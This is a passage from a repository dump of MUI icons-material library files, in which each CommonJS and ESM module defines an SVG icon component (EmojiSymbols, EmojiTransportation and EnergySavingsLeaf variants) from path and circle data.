    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5H4c-.55 0-1 .45-1 1s.45 1 1 1h2v3c0 .55.45 1 1 1s1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1m0-3H4c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m10.89 11.11a.996.996 0 0 0-1.41 0l-6.36 6.36c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h2c.55 0 1-.45 1-1s-.45-1-1-1h-2c-.55 0-1 .45-1 1v3.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.05 7.09c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-.71.71-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.48 1.14.72 1.78.72s1.28-.24 1.77-.73l1.06-1.06.71.71c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41l-.71-.71zm-4.6-3.89c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.12-.12-.15-.26-.15-.35s.03-.23.15-.35m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15S5 19.59 5 19.5s.03-.23.15-.35l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiSymbolsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h8v2H3zm3 9h2V7h3V5H3v2h3zm6.4038 9.182 7.7782-7.7783 1.4142 1.4142-7.7782 7.7782z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19.5\",\n  cy: \"19.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11c1.38 0 2.5-1.12 2.5-2.5V4h3V2h-4v4.51c-.42-.32-.93-.51-1.5-.51C14.12 6 13 7.12 13 8.5s1.12 2.5 2.5 2.5m-5.76 4.96-1.41 1.41-.71-.71.35-.35c.98-.98.98-2.56 0-3.54-.49-.49-1.13-.73-1.77-.73s-1.28.24-1.77.73c-.98.98-.98 2.56 0 3.54l.35.35-1.06 1.06c-.98.98-.98 2.56 0 3.54.5.5 1.14.74 1.78.74s1.28-.24 1.77-.73l1.06-1.06 1.41 1.41 1.41-1.41-1.41-1.41 1.41-1.41zM5.85 14.2c.12-.12.26-.15.35-.15s.23.03.35.15c.19.2.19.51 0 .71l-.35.35-.35-.36c-.19-.19-.19-.51 0-.7m0 5.65c-.12.12-.26.15-.35.15s-.23-.03-.35-.15c-.19-.19-.19-.51 0-.71l1.06-1.06.71.71z\"\n}, \"3\")], 'EmojiSymbolsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportation');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportation');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.99 14.77-1.43-4.11c-.14-.4-.52-.66-.97-.66H12.4c-.46 0-.83.26-.98.66L10 14.77v5.24c0 .55.45.99 1 .99s1-.45 1-1v-1h8v1c0 .55.45 1 1 1s.99-.44 1-.99zm-10.38-1.43.69-2c.05-.2.24-.34.46-.34h6.48c.21 0 .4.14.47.34l.69 2c.11.32-.13.66-.47.66h-7.85c-.34 0-.58-.34-.47-.66m.38 3.66c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4.5V9h1V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v4H3c-.55 0-1 .45-1 1v12h1V9.5c0-.28.22-.5.5-.5h4c.28 0 .5-.22.5-.5v-4c0-.28.22-.5.5-.5h5c.28 0 .5.22.5.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.99 14.77-1.43-4.11c-.14-.4-.52-.66-.97-.66H12.4c-.46 0-.83.26-.98.66L10 14.77v5.24c0 .55.45.99 1 .99s1-.45 1-1v-1h8v1c0 .55.45 1 1 1s.99-.44 1-.99zm-10.38-1.43.69-2c.05-.2.24-.34.46-.34h6.48c.21 0 .4.14.47.34l.69 2c.11.32-.13.66-.47.66h-7.85c-.34 0-.58-.34-.47-.66m.38 3.66c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4.5V9h1V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v4H3c-.55 0-1 .45-1 1v12h1V9.5c0-.28.22-.5.5-.5h4c.28 0 .5-.22.5-.5v-4c0-.28.22-.5.5-.5h5c.28 0 .5.22.5.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiTransportationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.57 10.66c-.14-.4-.52-.66-.97-.66h-7.19c-.46 0-.83.26-.98.66L10 14.77l.01 5.51c0 .38.31.72.69.72h.62c.38 0 .68-.38.68-.76V19h8v1.24c0 .38.31.76.69.76h.61c.38 0 .69-.34.69-.72l.01-1.37v-4.14zm-8.16.34h7.19l1.03 3h-9.25zM12 17c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h1V3H7v5H2v13h1V9h5V4h6z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h2v2H5zm5-6h2v2h-2zM5 15h2v2H5zm0 4h2v2H5z\"\n}, \"2\")], 'EmojiTransportationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeaf.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm3.83 9.26-5.16 4.63c-.16.15-.41.14-.56-.01-.14-.14-.16-.36-.04-.52l2.44-3.33-4.05-.4c-.44-.04-.63-.59-.3-.89l5.16-4.63c.16-.15.41-.14.56.01.14.14.16.36.04.52l-2.44 3.33 4.05.4c.45.04.63.59.3.89\"\n}), 'EnergySavingsLeaf');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeaf.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm3.83 9.26-5.16 4.63c-.16.15-.41.14-.56-.01-.14-.14-.16-.36-.04-.52l2.44-3.33-4.05-.4c-.44-.04-.63-.59-.3-.89l5.16-4.63c.16-.15.41-.14.56.01.14.14.16.36.04.52l-2.44 3.33 4.05.4c.45.04.63.59.3.89\"\n}), 'EnergySavingsLeaf');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm7 9c0 1.87-.73 3.63-2.05 4.95S13.87 19 12 19c-3.86 0-7-3.14-7-7 0-1.9.74-3.68 2.1-4.99C8.42 5.71 10.16 5 12 5h7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.46 12.63 4.05.4-2.44 3.33c-.11.16-.1.38.04.52.15.15.4.16.56.01l5.16-4.63c.33-.3.15-.85-.3-.89l-4.05-.4 2.44-3.33c.11-.16.1-.38-.04-.52-.15-.15-.4-.16-.56-.01l-5.16 4.63c-.32.3-.14.85.3.89\"\n}, \"1\")], 'EnergySavingsLeafOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61L3 19.59 4.41 21l1.97-1.97C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V3zm7 9c0 1.87-.73 3.63-2.05 4.95S13.87 19 12 19c-3.86 0-7-3.14-7-7 0-1.9.74-3.68 2.1-4.99C8.42 5.71 10.16 5 12 5h7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.46 12.63 4.05.4-2.44 3.33c-.11.16-.1.38.04.52.15.15.4.16.56.01l5.16-4.63c.33-.3.15-.85-.3-.89l-4.05-.4 2.44-3.33c.11-.16.1-.38-.04-.52-.15-.15-.4-.16-.56-.01l-5.16 4.63c-.32.3-.14.85.3.89\"\n}, \"1\")], 'EnergySavingsLeafOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.8 0-9 3.86-9 9 0 2.12.74 4.07 1.97 5.61l-1.68 1.68c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l1.68-1.68C7.93 20.26 9.88 21 12 21c2.3 0 4.61-.88 6.36-2.64C20.12 16.61 21 14.3 21 12V5c0-1.1-.9-2-2-2zm3.83 9.26-5.16 4.63c-.16.15-.41.14-.56-.01-.14-.14-.16-.36-.04-.52l2.44-3.33-4.05-.4c-.44-.04-.63-.59-.3-.89l5.16-4.63c.16-.15.41-.14.56.01.14.14.16.36.04.52l-2.44 3.33 4.05.4c.45.04.63.59.3.89\"\n}), 'EnergySavingsLeafRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EnergySavingsLeafRounded.mjs",
